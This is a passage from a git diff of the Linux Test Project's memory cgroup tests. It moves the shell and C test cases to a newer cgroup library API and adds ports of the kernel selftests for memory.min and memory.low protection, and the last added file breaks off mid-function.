/dev/memcg + mount_point=$(cgroup_get_mountpoint "memory") + test_dir=$(cgroup_get_test_path "memory") # For kernels older than v5.11 the default value for # memory.use_hierarchy is 0 and some of tests (memcg_stat_test.sh and @@ -118,15 +96,15 @@ memcg_setup() # Starting with kernel v5.11, the non-hierarchical mode is not # available. See Linux kernel commit bef8620cd8e0 ("mm: memcg: # deprecate the non-hierarchical mode"). - orig_memory_use_hierarchy=$(cat /dev/memcg/memory.use_hierarchy) + orig_memory_use_hierarchy=$(cat "$mount_point/memory.use_hierarchy") if [ -z "$orig_memory_use_hierarchy" ];then - tst_res TINFO "cat /dev/memcg/ failed" + tst_res TINFO "cat $mount_point failed" elif [ "$orig_memory_use_hierarchy" = "0" ];then orig_memory_use_hierarchy="" else - echo 0 > /dev/memcg/memory.use_hierarchy 2>/dev/null + echo 0 > "$mount_point/memory.use_hierarchy" 2>/dev/null if [ $? -ne 0 ];then - tst_res TINFO "set /dev/memcg/memory.use_hierarchy to 0 failed" + tst_res TINFO "set $mount_point/memory.use_hierarchy to 0 failed" fi fi @@ -139,22 +117,19 @@ memcg_cleanup() cd $TST_TMPDIR # In order to remove all subgroups, we have to remove them recursively - if [ -e /dev/memcg/ltp_$$ ]; then - ROD find /dev/memcg/ltp_$$ -depth -type d -delete + if [ -e $test_dir ]; then + ROD find $test_dir -depth -type d -delete fi if [ -n "$orig_memory_use_hierarchy" ];then - echo $orig_memory_use_hierarchy > /dev/memcg/memory.use_hierarchy + echo $orig_memory_use_hierarchy > $mount_point/memory.use_hierarchy if [ $? -ne 0 ];then - tst_res TINFO "restore /dev/memcg/memory.use_hierarchy failed" + tst_res TINFO "restore $mount_point/memory.use_hierarchy failed" fi orig_memory_use_hierarchy="" fi - if [ -e "/dev/memcg" ]; then - umount /dev/memcg - rmdir /dev/memcg - fi + cgroup_cleanup [ "$MEMCG_SHMMAX" = "1" ] && shmmax_cleanup } @@ -398,8 +373,8 @@ test_limit_in_bytes() memcg_testfunc() { - ROD mkdir /dev/memcg/ltp_$$ - cd /dev/memcg/ltp_$$ + ROD mkdir $test_dir/ltp_$$ + cd $test_dir/ltp_$$ if type ${MEMCG_TESTFUNC}1 > /dev/null 2>&1; then ${MEMCG_TESTFUNC}$1 $1 "$2" @@ -408,10 +383,46 @@ memcg_testfunc() fi cd $TST_TMPDIR - ROD rmdir /dev/memcg/ltp_$$ + ROD rmdir $test_dir/ltp_$$ } memcg_no_testfunc() { tst_brk TBROK "No testfunc specified, set MEMCG_TESTFUNC" } + +. cgroup_lib.sh + +MEMCG_SHMMAX=${MEMCG_SHMMAX:-0} +MEMCG_TESTFUNC=${MEMCG_TESTFUNC:-memcg_no_testfunc} + +PAGESIZE=$(tst_getconf PAGESIZE) +if [ $? -ne 0 ]; then + tst_brk TBROK "tst_getconf PAGESIZE failed" +fi + +# Post 4.16 kernel updates stat in batch (> 32 pages) every time +# Post 6.1 kernel updates stat in batch (> 64 pages) every time +# 1813e51eece0ad6 ("memcg: increase MEMCG_CHARGE_BATCH to 64") +# has been merged since 5.14.0-191.el9 and 4.18.0-438.el8. +if tst_kvcmp -lt "6.1 RHEL9:5.14.0-191 RHEL8:4.18.0-438" ; then + PAGESIZES=$(($PAGESIZE * 33)) +else + PAGESIZES=$(($PAGESIZE * 65)) +fi + +# On recent Linux kernels (at least v5.4) updating stats happens in batches +# (PAGESIZES) and also might depend on workload and number of CPUs. The kernel +# caches the data and does not prioritize stats precision. This is especially +# visible for max_usage_in_bytes where it usually exceeds +# actual memory allocation. +# When checking for usage_in_bytes and max_usage_in_bytes accept also higher values +# from given range: +MEM_USAGE_RANGE=$((PAGESIZES)) + +HUGEPAGESIZE=$(awk '/Hugepagesize/ {print $2}' /proc/meminfo) +[ -z $HUGEPAGESIZE ] && HUGEPAGESIZE=0 +HUGEPAGESIZE=$(($HUGEPAGESIZE * 1024)) + +orig_memory_use_hierarchy= +orig_shmmax= diff --git a/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh b/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh index 31892fd0..8ad399a9 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh @@ -12,7 +12,6 @@ MEMCG_TESTFUNC=test MEMCG_SHMMAX=1 TST_CNT=15 -. memcg_lib.sh TST_CLEANUP=cleanup cleanup() @@ -89,11 +88,7 @@ test11() test12() { tst_res TINFO "Test invalid memory.limit_in_bytes" - if tst_kvcmp -lt "2.6.31"; then - EXPECT_FAIL echo -1 \> memory.limit_in_bytes - else EXPECT_PASS echo -1 \> memory.limit_in_bytes - fi } test13() @@ -111,4 +106,5 @@ test15() EXPECT_FAIL echo xx \> memory.limit_in_bytes } +. memcg_lib.sh tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh index 6a2607c4..30281051 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh @@ -9,12 +9,6 @@ MEMCG_TESTFUNC=test TST_CNT=4 -. memcg_lib.sh - -MEM_TO_ALLOC=$((PAGESIZE * 1024)) -MEM_EXPECTED_UPPER=$((MEM_TO_ALLOC + MEM_USAGE_RANGE)) -MEM_LIMIT=$((MEM_TO_ALLOC * 2)) - # Run test cases which checks memory.[memsw.]max_usage_in_bytes after make # some memory allocation test_max_usage_in_bytes() @@ -88,4 +82,10 @@ test4() test_max_usage_in_bytes 1 1 } +. memcg_lib.sh + +MEM_TO_ALLOC=$((PAGESIZE * 1024)) +MEM_EXPECTED_UPPER=$((MEM_TO_ALLOC + MEM_USAGE_RANGE)) +MEM_LIMIT=$((MEM_TO_ALLOC * 2)) + tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh index ab26cb3d..74748a52 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh @@ -9,7 +9,6 @@ MEMCG_TESTFUNC=test TST_CNT=12 -. memcg_lib.sh test1() { @@ -57,11 +56,7 @@ test9() ROD echo 10M \> memory.limit_in_bytes - if tst_kvcmp -lt "2.6.31"; then - EXPECT_FAIL echo -1 \> memory.memsw.limit_in_bytes - else - EXPECT_PASS echo -1 \> memory.memsw.limit_in_bytes - fi + EXPECT_PASS echo -1 \> memory.memsw.limit_in_bytes } test10() @@ -88,4 +83,5 @@ test12() EXPECT_FAIL echo xx \> memory.memsw.limit_in_bytes } +. memcg_lib.sh tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh index 3c1b3394..86a705f0 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh @@ -9,7 +9,6 @@ MEMCG_TESTFUNC=test TST_CNT=4 -. memcg_lib.sh # Run test cases which test memory.move_charge_at_immigrate @@ -80,4 +79,5 @@ test4() $((PAGESIZES * 2)) 3 $PAGESIZES $PAGESIZES 0 0 } +. memcg_lib.sh tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh index d9b4ec28..63a42587 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh @@ -13,7 +13,6 @@ MEMCG_TESTFUNC=test MEMCG_SHMMAX=1 TST_CNT=10 -. memcg_lib.sh # Test the management and counting of memory test1() @@ -68,4 +67,5 @@ test10() test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES "rss" $PAGESIZES $PAGESIZES true } +. memcg_lib.sh tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh index 0308b40b..28c1fcd9 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh @@ -9,7 +9,6 @@ MEMCG_TESTFUNC=test TST_CNT=8 -. memcg_lib.sh test1() { @@ -115,4 +114,5 @@ test8() rmdir subgroup } +. memcg_lib.sh tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh index cda62492..9bcc0125 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh @@ -12,11 +12,6 @@ MEMCG_TESTFUNC=test TST_CNT=3 -. memcg_lib.sh - -# Allocate memory bigger than per-cpu kernel memory -MEM_TO_ALLOC=$((PAGESIZES * 2)) - # Test the memory charge won't move to subgroup # $1 - memory.limit_in_bytes in sub group test_subgroup() @@ -67,4 +62,9 @@ test3() test_subgroup 0 } +. memcg_lib.sh + +# Allocate memory bigger than per-cpu kernel memory +MEM_TO_ALLOC=$((PAGESIZES * 2)) + tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh index 6c1b3650..125d88e5 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh @@ -9,12 +9,6 @@ MEMCG_TESTFUNC=test TST_CNT=2 -. memcg_lib.sh - -MEM_TO_ALLOC=$((PAGESIZE * 1024)) -MEM_EXPECTED_UPPER=$((MEM_TO_ALLOC + MEM_USAGE_RANGE)) -MEM_LIMIT=$((MEM_TO_ALLOC * 2)) - test1() { tst_res TINFO "Test memory.usage_in_bytes" @@ -35,4 +29,10 @@ test2() $MEM_EXPECTED_UPPER false } +. memcg_lib.sh + +MEM_TO_ALLOC=$((PAGESIZE * 1024)) +MEM_EXPECTED_UPPER=$((MEM_TO_ALLOC + MEM_USAGE_RANGE)) +MEM_LIMIT=$((MEM_TO_ALLOC * 2)) + tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh index e2198238..f17ba11c 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh @@ -9,7 +9,6 @@ MEMCG_TESTFUNC=test TST_CNT=3 -. memcg_lib.sh test1() { @@ -53,4 +52,5 @@ test3() rmdir subgroup } +. memcg_lib.sh tst_run diff --git a/testcases/kernel/controllers/memcg/memcontrol01.c b/testcases/kernel/controllers/memcg/memcontrol01.c index f3b45610..935b9777 100755 --- a/testcases/kernel/controllers/memcg/memcontrol01.c +++ b/testcases/kernel/controllers/memcg/memcontrol01.c @@ -16,59 +16,47 @@ #include #include "tst_test.h" -#include "tst_cgroup.h" -static const struct tst_cgroup_group *cg_test; -static struct tst_cgroup_group *parent, *child; -static struct tst_cgroup_group *parent2, *child2; +static struct tst_cg_group *parent, *child; +static struct tst_cg_group *parent2, *child2; static void test_memcg_subtree_control(void) { - parent = tst_cgroup_group_mk(cg_test, "memcg_test_0"); - child = tst_cgroup_group_mk(parent, "memcg_test_1"); - parent2 = tst_cgroup_group_mk(cg_test, "memcg_test_2"); - child2 = tst_cgroup_group_mk(parent2, "memcg_test_3"); + parent = tst_cg_group_mk(tst_cg, "memcg_test_0"); + child = tst_cg_group_mk(parent, "memcg_test_1"); + parent2 = tst_cg_group_mk(tst_cg, "memcg_test_2"); + child2 = tst_cg_group_mk(parent2, "memcg_test_3"); - SAFE_CGROUP_PRINT(parent2, "cgroup.subtree_control", "-memory"); + SAFE_CG_PRINT(parent2, "cgroup.subtree_control", "-memory"); TST_EXP_POSITIVE( - SAFE_CGROUP_OCCURSIN(child, "cgroup.controllers", "memory"), + SAFE_CG_OCCURSIN(child, "cgroup.controllers", "memory"), "child should have memory controller"); TST_EXP_POSITIVE( - !SAFE_CGROUP_OCCURSIN(child2, "cgroup.controllers", "memory"), + !SAFE_CG_OCCURSIN(child2, "cgroup.controllers", "memory"), "child2 should not have memory controller"); - child2 = tst_cgroup_group_rm(child2); - parent2 = tst_cgroup_group_rm(parent2); - child = tst_cgroup_group_rm(child); - parent = tst_cgroup_group_rm(parent); -} - -static void setup(void) -{ - tst_cgroup_require("memory", NULL); - cg_test = tst_cgroup_get_test_group(); - - if (TST_CGROUP_VER_IS_V1(cg_test, "memory")) - tst_brk(TCONF, "V1 controllers do not have subtree control"); + child2 = tst_cg_group_rm(child2); + parent2 = tst_cg_group_rm(parent2); + child = tst_cg_group_rm(child); + parent = tst_cg_group_rm(parent); } static void cleanup(void) { if (child2) - child2 = tst_cgroup_group_rm(child2); + child2 = tst_cg_group_rm(child2); if (parent2) - parent2 = tst_cgroup_group_rm(parent2); + parent2 = tst_cg_group_rm(parent2); if (child) - child = tst_cgroup_group_rm(child); + child = tst_cg_group_rm(child); if (parent) - parent = tst_cgroup_group_rm(parent); - - tst_cgroup_cleanup(); + parent = tst_cg_group_rm(parent); } static struct tst_test test = { - .setup = setup, .cleanup = cleanup, .test_all = test_memcg_subtree_control, + .needs_cgroup_ver = TST_CG_V2, + .needs_cgroup_ctrls = (const char *const []){ "memory", NULL }, }; diff --git a/testcases/kernel/controllers/memcg/memcontrol02.c b/testcases/kernel/controllers/memcg/memcontrol02.c index 0b8f317a..1656176b 100755 --- a/testcases/kernel/controllers/memcg/memcontrol02.c +++ b/testcases/kernel/controllers/memcg/memcontrol02.c @@ -23,94 +23,58 @@ */ #define _GNU_SOURCE -#include -#include - -#include "tst_test.h" -#include "tst_cgroup.h" - -#define TMPDIR "mntdir" -#define MB(x) (x << 20) +#include "memcontrol_common.h" static size_t page_size; -static const struct tst_cgroup_group *cg_test; -static struct tst_cgroup_group *cg_child; +static struct tst_cg_group *cg_child; static int fd; static int file_to_all_error = 10; -/* - * Checks if two given values differ by less than err% of their sum. - */ -static inline int values_close(const ssize_t a, - const ssize_t b, - const ssize_t err) -{ - return 100 * labs(a - b) <= (a + b) * err; -} - static void alloc_anon_50M_check(void) { const ssize_t size = MB(50); char *buf, *ptr; ssize_t anon, current; const char *const anon_key_fmt = - TST_CGROUP_VER_IS_V1(cg_test, "memory") ? "rss %zd" : "anon %zd"; + TST_CG_VER_IS_V1(tst_cg, "memory") ? "rss %zd" : "anon %zd"; buf = SAFE_MALLOC(size); for (ptr = buf; ptr < buf + size; ptr += page_size) *ptr = 0; - SAFE_CGROUP_SCANF(cg_child, "memory.current", "%zd", ¤t); + SAFE_CG_SCANF(cg_child, "memory.current", "%zd", ¤t); TST_EXP_EXPR(current >= size, "(memory.current=%zd) >= (size=%zd)", current, size); - SAFE_CGROUP_LINES_SCANF(cg_child, "memory.stat", anon_key_fmt, &anon); + SAFE_CG_LINES_SCANF(cg_child, "memory.stat", anon_key_fmt, &anon); TST_EXP_EXPR(anon > 0, "(memory.stat.anon=%zd) > 0", anon); - TST_EXP_EXPR(values_close(size, current, 3), - "(size=%zd) ~= (memory.stat.anon=%zd)", size, current); + TST_EXP_EXPR(values_close(size, anon, 3), + "(size=%zd) ~= (memory.stat.anon=%zd)", size, anon); TST_EXP_EXPR(values_close(anon, current, 3), "(memory.current=%zd) ~= (memory.stat.anon=%zd)", current, anon); } -static void alloc_pagecache(const int fd, size_t size) -{ - char buf[BUFSIZ]; - size_t i; - - for (i = 0; i < size; i += sizeof(buf)) - SAFE_WRITE(1, fd, buf, sizeof(buf)); -} - static void alloc_pagecache_50M_check(void) { const size_t size = MB(50); size_t current, file; const char *const file_key_fmt = - TST_CGROUP_VER_IS_V1(cg_test, "memory") ? "cache %zd" : "file %zd"; + TST_CG_VER_IS_V1(tst_cg, "memory") ? "cache %zd" : "file %zd"; - TEST(open(TMPDIR"/tmpfile", O_RDWR | O_CREAT, 0600)); + fd = SAFE_OPEN(TMPDIR"/tmpfile", O_RDWR | O_CREAT, 0600); - if (TST_RET < 0) { - if (TST_ERR == EOPNOTSUPP) - tst_brk(TCONF, "O_TMPFILE not supported by FS"); - - tst_brk(TBROK | TTERRNO, - "open(%s, O_TMPFILE | O_RDWR | O_EXCL", TMPDIR"/."); - } - fd = TST_RET; - - SAFE_CGROUP_SCANF(cg_child, "memory.current", "%zu", ¤t); + SAFE_CG_SCANF(cg_child, "memory.current", "%zu", ¤t); tst_res(TINFO, "Created temp file: memory.current=%zu", current); alloc_pagecache(fd, size); - SAFE_CGROUP_SCANF(cg_child, "memory.current", "%zu", ¤t); + SAFE_CG_SCANF(cg_child, "memory.current", "%zu", ¤t); TST_EXP_EXPR(current >= size, "(memory.current=%zu) >= (size=%zu)", current, size); - SAFE_CGROUP_LINES_SCANF(cg_child, "memory.stat", file_key_fmt, &file); + SAFE_CG_LINES_SCANF(cg_child, "memory.stat", file_key_fmt, &file); TST_EXP_EXPR(file > 0, "(memory.stat.file=%zd) > 0", file); TST_EXP_EXPR(values_close(file, current, file_to_all_error), @@ -124,14 +88,14 @@ static void test_memcg_current(unsigned int n) { size_t current; - cg_child = tst_cgroup_group_mk(cg_test, "child"); - SAFE_CGROUP_SCANF(cg_child, "memory.current", "%zu", ¤t); + cg_child = tst_cg_group_mk(tst_cg, "child"); + SAFE_CG_SCANF(cg_child, "memory.current", "%zu", ¤t); TST_EXP_EXPR(current == 0, "(current=%zu) == 0", current); if (!SAFE_FORK()) { - SAFE_CGROUP_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); - SAFE_CGROUP_SCANF(cg_child, "memory.current", "%zu", ¤t); + SAFE_CG_SCANF(cg_child, "memory.current", "%zu", ¤t); tst_res(TINFO, "Added proc to memcg: memory.current=%zu", current); @@ -141,7 +105,7 @@ static void test_memcg_current(unsigned int n) alloc_pagecache_50M_check(); } else { tst_reap_children(); - cg_child = tst_cgroup_group_rm(cg_child); + cg_child = tst_cg_group_rm(cg_child); } } @@ -149,10 +113,8 @@ static void setup(void) { page_size = SAFE_SYSCONF(_SC_PAGESIZE); - tst_cgroup_require("memory", NULL); - cg_test = tst_cgroup_get_test_group(); - switch (tst_fs_type(TMPDIR)) { + case TST_VFAT_MAGIC: case TST_EXFAT_MAGIC: case TST_EXT234_MAGIC: file_to_all_error = 50; @@ -163,9 +125,7 @@ static void setup(void) static void cleanup(void) { if (cg_child) - cg_child = tst_cgroup_group_rm(cg_child); - - tst_cgroup_cleanup(); + cg_child = tst_cg_group_rm(cg_child); } static struct tst_test test = { @@ -179,4 +139,5 @@ static struct tst_test test = { .all_filesystems = 1, .forks_child = 1, .needs_root = 1, + .needs_cgroup_ctrls = (const char *const []){ "memory", NULL }, }; diff --git a/testcases/kernel/controllers/memcg/memcontrol03.c b/testcases/kernel/controllers/memcg/memcontrol03.c new file mode 100644 index 00000000..bc726f39 --- /dev/null +++ b/testcases/kernel/controllers/memcg/memcontrol03.c @@ -0,0 +1,253 @@ +// SPDX-License-Identifier: GPL-2.0 +/*\ + * + * [Description] + * + * Conversion of the third kself test in cgroup/test_memcontrol.c. + * + * Original description: + * "First, this test creates the following hierarchy: + * A memory.min = 50M, memory.max = 200M + * A/B memory.min = 50M, memory.current = 50M + * A/B/C memory.min = 75M, memory.current = 50M + * A/B/D memory.min = 25M, memory.current = 50M + * A/B/E memory.min = 500M, memory.current = 0 + * A/B/F memory.min = 0, memory.current = 50M + * + * Usages are pagecache, but the test keeps a running + * process in every leaf cgroup. + * Then it creates A/G and creates a significant + * memory pressure in it. + * + * A/B memory.current ~= 50M + * A/B/C memory.current ~= 33M + * A/B/D memory.current ~= 17M + * A/B/E memory.current ~= 0 + * + * After that it tries to allocate more than there is unprotected + * memory in A available, and checks that memory.min protects + * pagecache even in this case." + * + * memory.min doesn't appear to exist on V1 so we only test on V2 like + * the selftest. We do test on more file systems, but not tempfs + * becaue it can't evict the page cache without swap. Also we avoid + * filesystems which allocate extra memory for buffer heads. + * + * The tolerances have been increased from the self tests. + */ + +#define _GNU_SOURCE + +#include + +#include "memcontrol_common.h" + +#define TMPDIR "mntdir" + +static struct tst_cg_group *trunk_cg[3]; +static struct tst_cg_group *leaf_cg[4]; +static int fd = -1; + +enum checkpoints { + CHILD_IDLE, + TEST_DONE, +}; + +enum trunk_cg { + A, + B, + G +}; + +enum leaf_cg { + C, + D, + E, + F +}; + +static void cleanup_sub_groups(void) +{ + size_t i; + + for (i = ARRAY_SIZE(leaf_cg); i > 0; i--) { + if (!leaf_cg[i - 1]) + continue; + + TST_CHECKPOINT_WAKE2(TEST_DONE, + ARRAY_SIZE(leaf_cg) - 1); + tst_reap_children(); + break; + } + + for (i = ARRAY_SIZE(leaf_cg); i > 0; i--) { + if (!leaf_cg[i - 1]) + continue; + + leaf_cg[i - 1] = tst_cg_group_rm(leaf_cg[i - 1]); + } + + for (i = ARRAY_SIZE(trunk_cg); i > 0; i--) { + if (!trunk_cg[i - 1]) + continue; + + trunk_cg[i - 1] = tst_cg_group_rm(trunk_cg[i - 1]); + } +} + +static void alloc_anon_in_child(const struct tst_cg_group *const cg, + const size_t size, const int expect_oom) +{ + int status; + const pid_t pid = SAFE_FORK(); + + if (!pid) { + SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid()); + + tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR, + getpid(), tst_cg_group_name(cg), size); + alloc_anon(size); + exit(0); + } + + SAFE_WAITPID(pid, &status, 0); + + if (expect_oom && WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) { + tst_res(TPASS, "Child %d killed by OOM", pid); + return; + } + + if (!expect_oom && WIFEXITED(status) && WEXITSTATUS(status) == 0) { + tst_res(TPASS, "Child %d exited", pid); + return; + } + + tst_res(TFAIL, + "Expected child %d to %s, but instead %s", + pid, + expect_oom ? "be killed" : "exit(0)", + tst_strstatus(status)); +} + +static void alloc_pagecache_in_child(const struct tst_cg_group *const cg, + const size_t size) +{ + const pid_t pid = SAFE_FORK(); + + if (pid) { + TST_CHECKPOINT_WAIT(CHILD_IDLE); + return; + } + + SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid()); + + tst_res(TINFO, "Child %d in %s: Allocating pagecache: %"PRIdPTR, + getpid(), tst_cg_group_name(cg), size); + alloc_pagecache(fd, size); + + TST_CHECKPOINT_WAKE(CHILD_IDLE); + TST_CHECKPOINT_WAIT(TEST_DONE); + exit(0); +} + +static void test_memcg_min(void) +{ + long c[4]; + unsigned int i; + size_t attempts; + + fd = SAFE_OPEN(TMPDIR"/tmpfile", O_RDWR | O_CREAT, 0600); + trunk_cg[A] = tst_cg_group_mk(tst_cg, "trunk_A"); + + SAFE_CG_SCANF(trunk_cg[A], "memory.min", "%ld", c); + if (c[0]) { + tst_brk(TCONF, + "memory.min already set to %ld on parent group", c[0]); + } + + SAFE_CG_PRINT(trunk_cg[A], "cgroup.subtree_control", "+memory"); + + SAFE_CG_PRINT(trunk_cg[A], "memory.max", "200M"); + SAFE_CG_PRINT(trunk_cg[A], "memory.swap.max", "0"); + + trunk_cg[B] = tst_cg_group_mk(trunk_cg[A], "trunk_B"); + + SAFE_CG_PRINT(trunk_cg[B], "cgroup.subtree_control", "+memory"); + + trunk_cg[G] = tst_cg_group_mk(trunk_cg[A], "trunk_G"); + + for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) { + leaf_cg[i] = tst_cg_group_mk(trunk_cg[B], + "leaf_%c", 'C' + i); + + if (i == E) + continue; + + alloc_pagecache_in_child(leaf_cg[i], MB(50)); + } + + SAFE_CG_PRINT(trunk_cg[A], "memory.min", "50M"); + SAFE_CG_PRINT(trunk_cg[B], "memory.min", "50M"); + SAFE_CG_PRINT(leaf_cg[C], "memory.min", "75M"); + SAFE_CG_PRINT(leaf_cg[D], "memory.min", "25M"); + SAFE_CG_PRINT(leaf_cg[E], "memory.min", "500M"); + SAFE_CG_PRINT(leaf_cg[F], "memory.min", "0"); + + for (attempts = 0; attempts < 5; attempts++) { + SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c); + if (values_close(c[0], MB(150), 3)) + break; + + sleep(1); + } + + alloc_anon_in_child(trunk_cg[G], MB(148), 0); + + SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c); + TST_EXP_EXPR(values_close(c[0], MB(50), 5), + "(A/B memory.current=%ld) ~= %d", c[0], MB(50)); + + for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) + SAFE_CG_SCANF(leaf_cg[i], "memory.current", "%ld", c + i); + + TST_EXP_EXPR(values_close(c[0], MB(33), 20), + "(A/B/C memory.current=%ld) ~= %d", c[0], MB(33)); + TST_EXP_EXPR(values_close(c[1], MB(17), 20), + "(A/B/D memory.current=%ld) ~= %d", c[1], MB(17)); + TST_EXP_EXPR(values_close(c[2], 0, 1), + "(A/B/E memory.current=%ld) ~= 0", c[2]); + + alloc_anon_in_child(trunk_cg[G], MB(170), 1); + + SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c); + TST_EXP_EXPR(values_close(c[0], MB(50), 5), + "(A/B memory.current=%ld) ~= %d", c[0], MB(50)); + + cleanup_sub_groups(); + SAFE_CLOSE(fd); + SAFE_UNLINK(TMPDIR"/tmpfile"); +} + +static void cleanup(void) +{ + cleanup_sub_groups(); + if (fd > -1) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .cleanup = cleanup, + .test_all = test_memcg_min, + .mount_device = 1, + .dev_min_size = 256, + .mntpoint = TMPDIR, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]){ + "exfat", "vfat", "fuse", "ntfs", "tmpfs", NULL + }, + .forks_child = 1, + .needs_root = 1, + .needs_checkpoints = 1, + .needs_cgroup_ver = TST_CG_V2, + .needs_cgroup_ctrls = (const char *const[]){ "memory", NULL }, +}; diff --git a/testcases/kernel/controllers/memcg/memcontrol04.c b/testcases/kernel/controllers/memcg/memcontrol04.c new file mode 100644 index 00000000..c963a1cd --- /dev/null +++ b/testcases/kernel/controllers/memcg/memcontrol04.c @@ -0,0 +1,253 @@ +// SPDX-License-Identifier: GPL-2.0 +/*\ + * + * [Description] + * + * Conversion of the forth kself test in cgroup/test_memcontrol.c. + * + * Original description: + * "First, this test creates the following hierarchy: + * A memory.low = 50M, memory.max = 200M + * A/B memory.low = 50M, memory.current = 50M + * A/B/C memory.low = 75M, memory.current = 50M + * A/B/D memory.low = 25M, memory.current = 50M + * A/B/E memory.low = 500M, memory.current = 0 + * A/B/F memory.low = 0, memory.current = 50M + * + * Usages are pagecache + * Then it creates A/G and creates a significant + * memory pressure in it. + * + * A/B memory.current ~= 50M + * A/B/C memory.current ~= 33M + * A/B/D memory.current ~= 17M + * A/B/E memory.current ~= 0 + * + * After that it tries to allocate more than there is unprotected + * memory in A available, and checks that memory.low protects + * pagecache even in this case." + * + * The closest thing to memory.low on V1 is soft_limit_in_bytes which + * uses a different mechanism and has different semantics. So we only + * test on V2 like the selftest. We do test on more file systems, but + * not tempfs becaue it can't evict the page cache without swap. Also + * we avoid filesystems which allocate extra memory for buffer heads. + * + * The tolerances have been increased from the self tests. + */ + +#define _GNU_SOURCE + +#include + +#include "memcontrol_common.h" + +#define TMPDIR "mntdir" + +static struct tst_cg_group *trunk_cg[3]; +static struct tst_cg_group *leaf_cg[4]; +static int fd = -1; + +enum checkpoints { + CHILD_IDLE +}; + +enum trunk_cg { + A, + B, + G +}; + +enum leaf_cg { + C, + D, + E, + F +}; + +static void cleanup_sub_groups(void) +{ + size_t i; + + for (i = ARRAY_SIZE(leaf_cg); i > 0; i--) { + if (!leaf_cg[i - 1]) + continue; + + leaf_cg[i - 1] = tst_cg_group_rm(leaf_cg[i - 1]); + } + + for (i = ARRAY_SIZE(trunk_cg); i > 0; i--) { + if (!trunk_cg[i - 1]) + continue; + + trunk_cg[i - 1] = tst_cg_group_rm(trunk_cg[i - 1]); + } +} + +static void alloc_anon_in_child(const struct tst_cg_group *const cg, + const size_t size) +{ + const pid_t pid = SAFE_FORK(); + + if (pid) { + tst_reap_children(); + return; + } + + SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid()); + + tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR, + getpid(), tst_cg_group_name(cg), size); + alloc_anon(size); + + exit(0); +} + +static void alloc_pagecache_in_child(const struct tst_cg_group *const cg, + const size_t size) +{ + const pid_t pid = SAFE_FORK(); + + if (pid) { + tst_reap_children(); + return; + } + + SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid()); + + tst_res(TINFO, "Child %d in %s: Allocating pagecache: %"PRIdPTR, + getpid(), tst_cg_group_name(cg), size); + alloc_pagecache(fd, size); + + exit(0); +} + +static void test_memcg_low(void) +{ + long c[4]; + unsigned int i; + + fd = SAFE_OPEN(TMPDIR"/tmpfile", O_RDWR | O_CREAT, 0600); + trunk_cg[A] = tst_cg_group_mk(tst_cg, "trunk_A"); + + SAFE_CG_SCANF(trunk_cg[A], "memory.low", "%ld", c); + if (c[0]) { + tst_brk(TCONF, + "memory.low already set to %ld on parent group", c[0]); + } + + SAFE_CG_PRINT(trunk_cg[A], "cgroup.subtree_control", "+memory"); + + 